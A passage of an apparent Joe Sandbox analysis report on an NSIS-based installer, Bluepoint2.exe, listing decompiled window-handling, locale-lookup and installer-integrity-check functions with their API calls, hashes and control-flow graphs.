                                                    								if(_t103 == 0) {
                                                    									L63:
                                                    									return 0;
                                                    								}
                                                    								goto L15;
                                                    							}
                                                    							SetWindowLongW(_t127, _t136, _t136);
                                                    							return 1;
                                                    						}
                                                    						DestroyWindow( *0x429238);
                                                    						 *0x429238 = _t122;
                                                    						L60:
                                                    						if( *0x425748 == _t136 &&  *0x429238 != _t136) {
                                                    							ShowWindow(_t127, 0xa);
                                                    							 *0x425748 = 1;
                                                    						}
                                                    						goto L63;
                                                    					} else {
                                                    						asm("sbb eax, eax");
                                                    						ShowWindow( *0x423728,  ~(_t122 - 1) & 0x00000005);
                                                    						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
                                                    							L28:
                                                    							return E0040462B(_a8, _t122, _a16);
                                                    						} else {
                                                    							ShowWindow(_t127, 4);
                                                    							goto L8;
                                                    						}
                                                    					}
                                                    				}
                                                    			}































                                                    0x004040d0
                                                    0x004040d7
                                                    0x0040423e
                                                    0x00404242
                                                    0x00404246
                                                    0x00404248
                                                    0x0040424d
                                                    0x00404258
                                                    0x00404263
                                                    0x00404268
                                                    0x0040426a
                                                    0x0040426c
                                                    0x0040426f
                                                    0x00404274
                                                    0x00404282
                                                    0x0040428f
                                                    0x00404296
                                                    0x00404296
                                                    0x00404297
                                                    0x00404297
                                                    0x0040429c
                                                    0x004042a2
                                                    0x004042a9
                                                    0x004042af
                                                    0x004042b1
                                                    0x004042f1
                                                    0x004042f6
                                                    0x004042fb
                                                    0x004042fb
                                                    0x00404300
                                                    0x00404309
                                                    0x0040430b
                                                    0x00404310
                                                    0x00404316
                                                    0x0040431a
                                                    0x0040431a
                                                    0x0040431f
                                                    0x00404325
                                                    0x00000000
                                                    0x00000000
                                                    0x00404330
                                                    0x00404336
                                                    0x00000000
                                                    0x00000000
                                                    0x0040433f
                                                    0x00404347
                                                    0x0040434c
                                                    0x0040434f
                                                    0x00404355
                                                    0x0040435a
                                                    0x0040435d
                                                    0x00404363
                                                    0x00404368
                                                    0x0040436b
                                                    0x00404371
                                                    0x00404379
                                                    0x0040437f
                                                    0x00404385
                                                    0x00404389
                                                    0x00404390
                                                    0x00404390
                                                    0x00404390
                                                    0x0040439a
                                                    0x004043ac
                                                    0x004043b8
                                                    0x004043bd
                                                    0x004043c7
                                                    0x004043cd
                                                    0x004043cf
                                                    0x004043d4
                                                    0x004043d1
                                                    0x004043d1
                                                    0x004043d1
                                                    0x004043e4
                                                    0x004043fc
                                                    0x004043fe
                                                    0x00404404
                                                    0x00404419
                                                    0x00404406
                                                    0x0040440f
                                                    0x00404411
                                                    0x00404411
                                                    0x0040441f
                                                    0x00404430
                                                    0x00404446
                                                    0x0040444d
                                                    0x00404453
                                                    0x00404457
                                                    0x0040445c
                                                    0x0040445e
                                                    0x00000000
                                                    0x00404464
                                                    0x00404464
                                                    0x00404466
                                                    0x00000000
                                                    0x00000000
                                                    0x0040446c
                                                    0x00404470
                                                    0x00404495
                                                    0x0040449b
                                                    0x004044a1
                                                    0x004044a3
                                                    0x00000000
                                                    0x00000000
                                                    0x004044c9
                                                    0x004044cf
                                                    0x004044d1
                                                    0x004044d6
                                                    0x00000000
                                                    0x00000000
                                                    0x004044dc
                                                    0x004044df
                                                    0x004044e2
                                                    0x004044f9
                                                    0x00404505
                                                    0x0040451e
                                                    0x00404524
                                                    0x00404528
                                                    0x0040452d
                                                    0x00404533
                                                    0x00000000
                                                    0x00000000
                                                    0x0040453d
                                                    0x00404548
                                                    0x00000000
                                                    0x00404548
                                                    0x00404472
                                                    0x00404478
                                                    0x00000000
                                                    0x00000000
                                                    0x0040447e
                                                    0x00404484
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040448a
                                                    0x0040445e
                                                    0x00404555
                                                    0x00404561
                                                    0x00404568
                                                    0x00000000
                                                    0x004042b3
                                                    0x004042b3
                                                    0x004042b6
                                                    0x004042e9
                                                    0x004042e9
                                                    0x004042eb
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004042eb
                                                    0x004042b8
                                                    0x004042bc
                                                    0x004042c1
                                                    0x004042c3
                                                    0x00000000
                                                    0x00000000
                                                    0x004042d3
                                                    0x004042db
                                                    0x00000000
                                                    0x004042e1
                                                    0x004040e9
                                                    0x004040e9
                                                    0x004040ed
                                                    0x004040f2
                                                    0x00404101
                                                    0x00404101
                                                    0x00404107
                                                    0x0040410e
                                                    0x00404152
                                                    0x00404158
                                                    0x00404171
                                                    0x00404174
                                                    0x00404187
                                                    0x0040418d
                                                    0x00000000
                                                    0x00000000
                                                    0x00404193
                                                    0x0040419e
                                                    0x004041a0
                                                    0x004041a2
                                                    0x004041c1
                                                    0x004041c1
                                                    0x004041c4
                                                    0x004041c9
                                                    0x004041cc
                                                    0x004041dc
                                                    0x004041dd
                                                    0x004041df
                                                    0x00404215
                                                    0x00404225
                                                    0x00000000
                                                    0x00404225
                                                    0x004041e1
                                                    0x004041e7
                                                    0x00404200
                                                    0x00404205
                                                    0x00404207
                                                    0x00000000
                                                    0x00000000
                                                    0x00404209
                                                    0x004041f5
                                                    0x004041f5
                                                    0x004041f7
                                                    0x004041f7
                                                    0x00000000
                                                    0x004041f7
                                                    0x004041ea
                                                    0x004041ef
                                                    0x00000000
                                                    0x004041ef
                                                    0x004041ce
                                                    0x004041d4
                                                    0x00000000
                                                    0x00000000
                                                    0x004041d6
                                                    0x00000000
                                                    0x004041d6
                                                    0x004041c6
                                                    0x00000000
                                                    0x004041c6
                                                    0x004041ac
                                                    0x004041b3
                                                    0x004041b9
                                                    0x004041bb
                                                    0x00404591
                                                    0x00000000
                                                    0x00404591
                                                    0x00000000
                                                    0x004041bb
                                                    0x00404179
                                                    0x00000000
                                                    0x00404181
                                                    0x00404160
                                                    0x00404166
                                                    0x0040456e
                                                    0x00404574
                                                    0x00404581
                                                    0x00404587
                                                    0x00404587
                                                    0x00000000
                                                    0x00404110
                                                    0x00404115
                                                    0x00404121
                                                    0x0040412a
                                                    0x0040422b
                                                    0x00000000
                                                    0x00404149
                                                    0x0040414c
                                                    0x00000000
                                                    0x0040414c
                                                    0x0040412a
                                                    0x0040410e

                                                    APIs
                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
                                                    • ShowWindow.USER32(?), ref: 00404121
                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00404133
                                                    • ShowWindow.USER32(?,00000004), ref: 0040414C
                                                    • DestroyWindow.USER32 ref: 00404160
                                                    • SetWindowLongW.USER32(?,00000000,00000000), ref: 00404179
                                                    • GetDlgItem.USER32 ref: 00404198
                                                    • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
                                                    • IsWindowEnabled.USER32(00000000), ref: 004041B3
                                                    • GetDlgItem.USER32 ref: 0040425E
                                                    • GetDlgItem.USER32 ref: 00404268
                                                    • KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00404282
                                                    • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
                                                    • GetDlgItem.USER32 ref: 00404379
                                                    • ShowWindow.USER32(00000000,?), ref: 0040439A
                                                    • KiUserCallbackDispatcher.NTDLL(?,?), ref: 004043AC
                                                    • EnableWindow.USER32(?,?), ref: 004043C7
                                                    • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
                                                    • EnableMenuItem.USER32 ref: 004043E4
                                                    • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
                                                    • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
                                                    • lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
                                                    • SetWindowTextW.USER32(?,00423748), ref: 0040444D
                                                    • ShowWindow.USER32(?,0000000A), ref: 00404581
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Window$Item$MessageSendShow$CallbackDispatcherEnableLongMenuUser$DestroyEnabledSystemTextlstrlen
                                                    • String ID: H7B
                                                    • API String ID: 3618520773-2300413410
                                                    • Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
                                                    • Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
                                                    • Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
                                                    • Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 373 403d17-403d2f call 406a35 376 403d31-403d3c GetUserDefaultUILanguage call 4065af 373->376 377 403d43-403d7a call 406536 373->377 380 403d41 376->380 383 403d92-403d98 lstrcatW 377->383 384 403d7c-403d8d call 406536 377->384 382 403d9d-403dc6 call 403fed call 40603f 380->382 390 403e58-403e60 call 40603f 382->390 391 403dcc-403dd1 382->391 383->382 384->383 397 403e62-403e69 call 4066a5 390->397 398 403e6e-403e93 LoadImageW 390->398 391->390 392 403dd7-403dff call 406536 391->392 392->390 399 403e01-403e05 392->399 397->398 401 403f14-403f1c call 40140b 398->401 402 403e95-403ec5 RegisterClassW 398->402 403 403e17-403e23 lstrlenW 399->403 404 403e07-403e14 call 405f64 399->404 416 403f26-403f31 call 403fed 401->416 417 403f1e-403f21 401->417 405 403fe3 402->405 406 403ecb-403f0f SystemParametersInfoW CreateWindowExW 402->406 410 403e25-403e33 lstrcmpiW 403->410 411 403e4b-403e53 call 405f37 call 406668 403->411 404->403 409 403fe5-403fec 405->409 406->401 410->411 415 403e35-403e3f GetFileAttributesW 410->415 411->390 420 403e41-403e43 415->420 421 403e45-403e46 call 405f83 415->421 425 403f37-403f51 ShowWindow call 4069c5 416->425 426 403fba-403fc2 call 40579d 416->426 417->409 420->411 420->421 421->411 433 403f53-403f58 call 4069c5 425->433 434 403f5d-403f6f GetClassInfoW 425->434 431 403fc4-403fca 426->431 432 403fdc-403fde call 40140b 426->432 431->417 435 403fd0-403fd7 call 40140b 431->435 432->405 433->434 438 403f71-403f81 GetClassInfoW RegisterClassW 434->438 439 403f87-403faa DialogBoxParamW call 40140b 434->439 435->417 438->439 443 403faf-403fb8 call 403c67 439->443 443->409
                                                    C-Code - Quality: 96%
                                                    			E00403D17(void* __eflags) {
                                                    				intOrPtr _v4;
                                                    				intOrPtr _v8;
                                                    				int _v12;
                                                    				void _v16;
                                                    				void* __ebx;
                                                    				void* __edi;
                                                    				void* __esi;
                                                    				intOrPtr* _t22;
                                                    				void* _t30;
                                                    				void* _t32;
                                                    				int _t33;
                                                    				void* _t36;
                                                    				int _t39;
                                                    				int _t40;
                                                    				int _t44;
                                                    				short _t63;
                                                    				WCHAR* _t65;
                                                    				signed char _t69;
                                                    				signed short _t73;
                                                    				WCHAR* _t76;
                                                    				intOrPtr _t82;
                                                    				WCHAR* _t87;
                                                    
                                                    				_t82 =  *0x42a270;
                                                    				_t22 = E00406A35(2);
                                                    				_t90 = _t22;
                                                    				if(_t22 == 0) {
                                                    					_t76 = 0x423748;
                                                    					L"1033" = 0x30;
                                                    					 *0x437002 = 0x78;
                                                    					 *0x437004 = 0;
                                                    					E00406536(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
                                                    					__eflags =  *0x423748;
                                                    					if(__eflags == 0) {
                                                    						E00406536(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
                                                    					}
                                                    					lstrcatW(L"1033", _t76);
                                                    				} else {
                                                    					_t73 =  *_t22(); // executed
                                                    					E004065AF(L"1033", _t73 & 0x0000ffff);
                                                    				}
                                                    				E00403FED(_t78, _t90);
                                                    				_t86 = L"C:\\Users\\engineer\\AppData\\Local\\Temp";
                                                    				 *0x42a2e0 =  *0x42a278 & 0x00000020;
                                                    				 *0x42a2fc = 0x10000;
                                                    				if(E0040603F(_t90, L"C:\\Users\\engineer\\AppData\\Local\\Temp") != 0) {
                                                    					L16:
                                                    					if(E0040603F(_t98, _t86) == 0) {
                                                    						E004066A5(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
                                                    					}
                                                    					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040); // executed
                                                    					 *0x429248 = _t30;
                                                    					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
                                                    						L21:
                                                    						if(E0040140B(0) == 0) {
                                                    							_t32 = E00403FED(_t78, __eflags);
                                                    							__eflags =  *0x42a300;
                                                    							if( *0x42a300 != 0) {
                                                    								_t33 = E0040579D(_t32, 0);
                                                    								__eflags = _t33;
                                                    								if(_t33 == 0) {
                                                    									E0040140B(1);
                                                    									goto L33;
                                                    								}
                                                    								__eflags =  *0x42922c;
                                                    								if( *0x42922c == 0) {
                                                    									E0040140B(2);
                                                    								}
                                                    								goto L22;
                                                    							}
                                                    							ShowWindow( *0x423728, 5); // executed
                                                    							_t39 = E004069C5("RichEd20"); // executed
                                                    							__eflags = _t39;
                                                    							if(_t39 == 0) {
                                                    								E004069C5("RichEd32");
                                                    							}
                                                    							_t87 = L"RichEdit20W";
                                                    							_t40 = GetClassInfoW(0, _t87, 0x429200);
                                                    							__eflags = _t40;
                                                    							if(_t40 == 0) {
                                                    								GetClassInfoW(0, L"RichEdit", 0x429200);
                                                    								 *0x429224 = _t87;
                                                    								RegisterClassW(0x429200);
                                                    							}
                                                    							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E004040C5, 0); // executed
                                                    							E00403C67(E0040140B(5), 1);
                                                    							return _t44;
                                                    						}
                                                    						L22:
                                                    						_t36 = 2;
                                                    						return _t36;
                                                    					} else {
                                                    						_t78 =  *0x42a260;
                                                    						 *0x429204 = E00401000;
                                                    						 *0x429210 =  *0x42a260;
                                                    						 *0x429214 = _t30;
                                                    						 *0x429224 = 0x40a3b4;
                                                    						if(RegisterClassW(0x429200) == 0) {
                                                    							L33:
                                                    							__eflags = 0;
                                                    							return 0;
                                                    						}
                                                    						SystemParametersInfoW(0x30, 0,  &_v16, 0);
                                                    						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
                                                    						goto L21;
                                                    					}
                                                    				} else {
                                                    					_t78 =  *(_t82 + 0x48);
                                                    					_t92 = _t78;
                                                    					if(_t78 == 0) {
                                                    						goto L16;
                                                    					}
                                                    					_t76 = 0x428200;
                                                    					E00406536(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a298 + _t78 * 2,  *0x42a298 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
                                                    					_t63 =  *0x428200; // 0x43
                                                    					if(_t63 == 0) {
                                                    						goto L16;
                                                    					}
                                                    					if(_t63 == 0x22) {
                                                    						_t76 = 0x428202;
                                                    						 *((short*)(E00405F64(0x428202, 0x22))) = 0;
                                                    					}
                                                    					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
                                                    					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
                                                    						L15:
                                                    						E00406668(_t86, E00405F37(_t76));
                                                    						goto L16;
                                                    					} else {
                                                    						_t69 = GetFileAttributesW(_t76);
                                                    						if(_t69 == 0xffffffff) {
                                                    							L14:
                                                    							E00405F83(_t76);
                                                    							goto L15;
                                                    						}
                                                    						_t98 = _t69 & 0x00000010;
                                                    						if((_t69 & 0x00000010) != 0) {
                                                    							goto L15;
                                                    						}
                                                    						goto L14;
                                                    					}
                                                    				}
                                                    			}

























                                                    0x00403d1d
                                                    0x00403d26
                                                    0x00403d2d
                                                    0x00403d2f
                                                    0x00403d43
                                                    0x00403d55
                                                    0x00403d5e
                                                    0x00403d67
                                                    0x00403d6e
                                                    0x00403d73
                                                    0x00403d7a
                                                    0x00403d8d
                                                    0x00403d8d
                                                    0x00403d98
                                                    0x00403d31
                                                    0x00403d31
                                                    0x00403d3c
                                                    0x00403d3c
                                                    0x00403d9d
                                                    0x00403da7
                                                    0x00403db0
                                                    0x00403db5
                                                    0x00403dc6
                                                    0x00403e58
                                                    0x00403e60
                                                    0x00403e69
                                                    0x00403e69
                                                    0x00403e7f
                                                    0x00403e85
                                                    0x00403e93
                                                    0x00403f14
                                                    0x00403f1c
                                                    0x00403f26
                                                    0x00403f2b
                                                    0x00403f31
                                                    0x00403fbb
                                                    0x00403fc0
                                                    0x00403fc2
                                                    0x00403fde
                                                    0x00000000
                                                    0x00403fde
                                                    0x00403fc4
                                                    0x00403fca
                                                    0x00403fd2
                                                    0x00403fd2
                                                    0x00000000
                                                    0x00403fca
                                                    0x00403f3f
                                                    0x00403f4a
                                                    0x00403f4f
                                                    0x00403f51
                                                    0x00403f58
                                                    0x00403f58
                                                    0x00403f63
                                                    0x00403f6b
                                                    0x00403f6d
                                                    0x00403f6f
                                                    0x00403f78
                                                    0x00403f7b
                                                    0x00403f81
                                                    0x00403f81
                                                    0x00403fa0
                                                    0x00403fb1
                                                    0x00000000
                                                    0x00403fb6
                                                    0x00403f1e
                                                    0x00403f20
                                                    0x00000000
                                                    0x00403e95
                                                    0x00403e95
                                                    0x00403ea1
                                                    0x00403eab
                                                    0x00403eb1
                                                    0x00403eb6
                                                    0x00403ec5
                                                    0x00403fe3
                                                    0x00403fe3
                                                    0x00000000
                                                    0x00403fe3
                                                    0x00403ed4
                                                    0x00403f0f
                                                    0x00000000
                                                    0x00403f0f
                                                    0x00403dcc
                                                    0x00403dcc
                                                    0x00403dcf
                                                    0x00403dd1
                                                    0x00000000
                                                    0x00000000
                                                    0x00403ddf
                                                    0x00403df1
                                                    0x00403df6
                                                    0x00403dff
                                                    0x00000000
                                                    0x00000000
                                                    0x00403e05
                                                    0x00403e07
                                                    0x00403e14
                                                    0x00403e14
                                                    0x00403e1d
                                                    0x00403e23
                                                    0x00403e4b
                                                    0x00403e53
                                                    0x00000000
                                                    0x00403e35
                                                    0x00403e36
                                                    0x00403e3f
                                                    0x00403e45
                                                    0x00403e46
                                                    0x00000000
                                                    0x00403e46
                                                    0x00403e41
                                                    0x00403e43
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00403e43
                                                    0x00403e23

                                                    APIs
                                                      • Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
                                                      • Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62
                                                    • GetUserDefaultUILanguage.KERNELBASE(00000002,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00000000,?), ref: 00403D31
                                                      • Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC
                                                    • lstrcatW.KERNEL32(1033,00423748), ref: 00403D98
                                                    • lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,76F1FAA0), ref: 00403E18
                                                    • lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
                                                    • GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403E36
                                                    • LoadImageW.USER32 ref: 00403E7F
                                                    • RegisterClassW.USER32 ref: 00403EBC
                                                    • SystemParametersInfoW.USER32 ref: 00403ED4
                                                    • CreateWindowExW.USER32 ref: 00403F09
                                                    • ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
                                                    • GetClassInfoW.USER32 ref: 00403F6B
                                                    • GetClassInfoW.USER32 ref: 00403F78
                                                    • RegisterClassW.USER32 ref: 00403F81
                                                    • DialogBoxParamW.USER32 ref: 00403FA0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
                                                    • String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
                                                    • API String ID: 606308-3761740343
                                                    • Opcode ID: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
                                                    • Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
                                                    • Opcode Fuzzy Hash: 53155da091c4b3d7a5df89bad193350c55a8525543a5f9d2669ac1eab67f041a
                                                    • Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 668 4030d0-40311e GetTickCount GetModuleFileNameW call 406158 671 403120-403125 668->671 672 40312a-403158 call 406668 call 405f83 call 406668 GetFileSize 668->672 673 40336a-40336e 671->673 680 403243-403251 call 40302e 672->680 681 40315e 672->681 688 403322-403327 680->688 689 403257-40325a 680->689 683 403163-40317a 681->683 685 40317c 683->685 686 40317e-403187 call 4035e2 683->686 685->686 693 40318d-403194 686->693 694 4032de-4032e6 call 40302e 686->694 688->673 691 403286-4032d2 GlobalAlloc call 406b90 call 406187 CreateFileW 689->691 692 40325c-403274 call 4035f8 call 4035e2 689->692 719 4032d4-4032d9 691->719 720 4032e8-403318 call 4035f8 call 403371 691->720 692->688 714 40327a-403280 692->714 698 403210-403214 693->698 699 403196-4031aa call 406113 693->699 694->688 703 403216-40321d call 40302e 698->703 704 40321e-403224 698->704 699->704 717 4031ac-4031b3 699->717 703->704 710 403233-40323b 704->710 711 403226-403230 call 406b22 704->711 710->683 718 403241 710->718 711->710 714->688 714->691 717->704 722 4031b5-4031bc 717->722 718->680 719->673 728 40331d-403320 720->728 722->704 724 4031be-4031c5 722->724 724->704 727 4031c7-4031ce 724->727 727->704 729 4031d0-4031f0 727->729 728->688 730 403329-40333a 728->730 729->688 731 4031f6-4031fa 729->731 732 403342-403347 730->732 733 40333c 730->733 734 403202-40320a 731->734 735 4031fc-403200 731->735 736 403348-40334e 732->736 733->732 734->704 737 40320c-40320e 734->737 735->718 735->734 736->736 738 403350-403368 call 406113 736->738 737->704 738->673
                                                    C-Code - Quality: 99%
                                                    			E004030D0(void* __eflags, signed int _a4) {
                                                    				DWORD* _v8;
                                                    				DWORD* _v12;
                                                    				intOrPtr _v16;
                                                    				long _v20;
                                                    				intOrPtr _v24;
                                                    				intOrPtr _v28;
                                                    				intOrPtr _v32;
                                                    				intOrPtr _v36;
                                                    				signed int _v40;
                                                    				short _v560;
                                                    				signed int _t54;
                                                    				void* _t57;
                                                    				void* _t62;
                                                    				intOrPtr _t65;
                                                    				void* _t68;
                                                    				intOrPtr* _t70;
                                                    				intOrPtr _t71;
                                                    				signed int _t77;
                                                    				signed int _t82;
                                                    				signed int _t83;
                                                    				signed int _t89;
                                                    				intOrPtr _t92;
                                                    				long _t94;
                                                    				signed int _t102;
                                                    				signed int _t104;
                                                    				void* _t106;
                                                    				signed int _t107;
                                                    				signed int _t110;
                                                    				void* _t111;
                                                    
                                                    				_t94 = 0;
                                                    				_v8 = 0;
                                                    				_v12 = 0;
                                                    				 *0x42a26c = GetTickCount() + 0x3e8;
                                                    				GetModuleFileNameW(0, L"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe", 0x400);
                                                    				_t106 = E00406158(L"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe", 0x80000000, 3);
                                                    				 *0x40a018 = _t106;
                                                    				if(_t106 == 0xffffffff) {
                                                    					return L"Error launching installer";
                                                    				}
                                                    				E00406668(0x436800, L"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe");
                                                    				E00406668(0x439000, E00405F83(0x436800));
                                                    				_t54 = GetFileSize(_t106, 0);
                                                    				__eflags = _t54;
                                                    				 *0x420f00 = _t54;
                                                    				_t110 = _t54;
                                                    				if(_t54 <= 0) {
                                                    					L24:
                                                    					E0040302E(1);
                                                    					__eflags =  *0x42a274 - _t94;
                                                    					if( *0x42a274 == _t94) {
                                                    						goto L32;
                                                    					}
                                                    					__eflags = _v12 - _t94;
                                                    					if(_v12 == _t94) {
                                                    						L28:
                                                    						_t57 = GlobalAlloc(0x40, _v20); // executed
                                                    						_t111 = _t57;
                                                    						E00406B90(0x40ce68);
                                                    						E00406187(0x40ce68,  &_v560, L"C:\\Users\\engineer\\AppData\\Local\\Temp\\"); // executed
                                                    						_t62 = CreateFileW( &_v560, 0xc0000000, _t94, _t94, 2, 0x4000100, _t94); // executed
                                                    						__eflags = _t62 - 0xffffffff;
                                                    						 *0x40a01c = _t62;
                                                    						if(_t62 != 0xffffffff) {
                                                    							_t65 = E004035F8( *0x42a274 + 0x1c);
                                                    							 *0x420f04 = _t65;
                                                    							 *0x420ef8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
                                                    							_t68 = E00403371(_v16, 0xffffffff, _t94, _t111, _v20); // executed
                                                    							__eflags = _t68 - _v20;
                                                    							if(_t68 == _v20) {
                                                    								__eflags = _v40 & 0x00000001;
                                                    								 *0x42a270 = _t111;
                                                    								 *0x42a278 =  *_t111;
                                                    								if((_v40 & 0x00000001) != 0) {
                                                    									 *0x42a27c =  *0x42a27c + 1;
                                                    									__eflags =  *0x42a27c;
                                                    								}
                                                    								_t45 = _t111 + 0x44; // 0x44
                                                    								_t70 = _t45;
                                                    								_t102 = 8;
                                                    								do {
                                                    									_t70 = _t70 - 8;
                                                    									 *_t70 =  *_t70 + _t111;
                                                    									_t102 = _t102 - 1;
                                                    									__eflags = _t102;
                                                    								} while (_t102 != 0);
                                                    								_t71 =  *0x420ef4; // 0x5afdd
                                                    								 *((intOrPtr*)(_t111 + 0x3c)) = _t71;
                                                    								E00406113(0x42a280, _t111 + 4, 0x40);
                                                    								__eflags = 0;
                                                    								return 0;
                                                    							}
                                                    							goto L32;
                                                    						}
                                                    						return L"Error writing temporary file. Make sure your temp folder is valid.";
                                                    					}
                                                    					E004035F8( *0x420ef0);
                                                    					_t77 = E004035E2( &_a4, 4);
                                                    					__eflags = _t77;
                                                    					if(_t77 == 0) {
                                                    						goto L32;
                                                    					}
                                                    					__eflags = _v8 - _a4;
                                                    					if(_v8 != _a4) {
                                                    						goto L32;
                                                    					}
                                                    					goto L28;
                                                    				} else {
                                                    					do {
                                                    						_t107 = _t110;
                                                    						asm("sbb eax, eax");
                                                    						_t82 = ( ~( *0x42a274) & 0x00007e00) + 0x200;
                                                    						__eflags = _t110 - _t82;
                                                    						if(_t110 >= _t82) {
                                                    							_t107 = _t82;
                                                    						}
                                                    						_t83 = E004035E2(0x418ef0, _t107);
                                                    						__eflags = _t83;
                                                    						if(_t83 == 0) {
                                                    							E0040302E(1);
                                                    							L32:
                                                    							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                                    						}
                                                    						__eflags =  *0x42a274;
                                                    						if( *0x42a274 != 0) {
                                                    							__eflags = _a4 & 0x00000002;
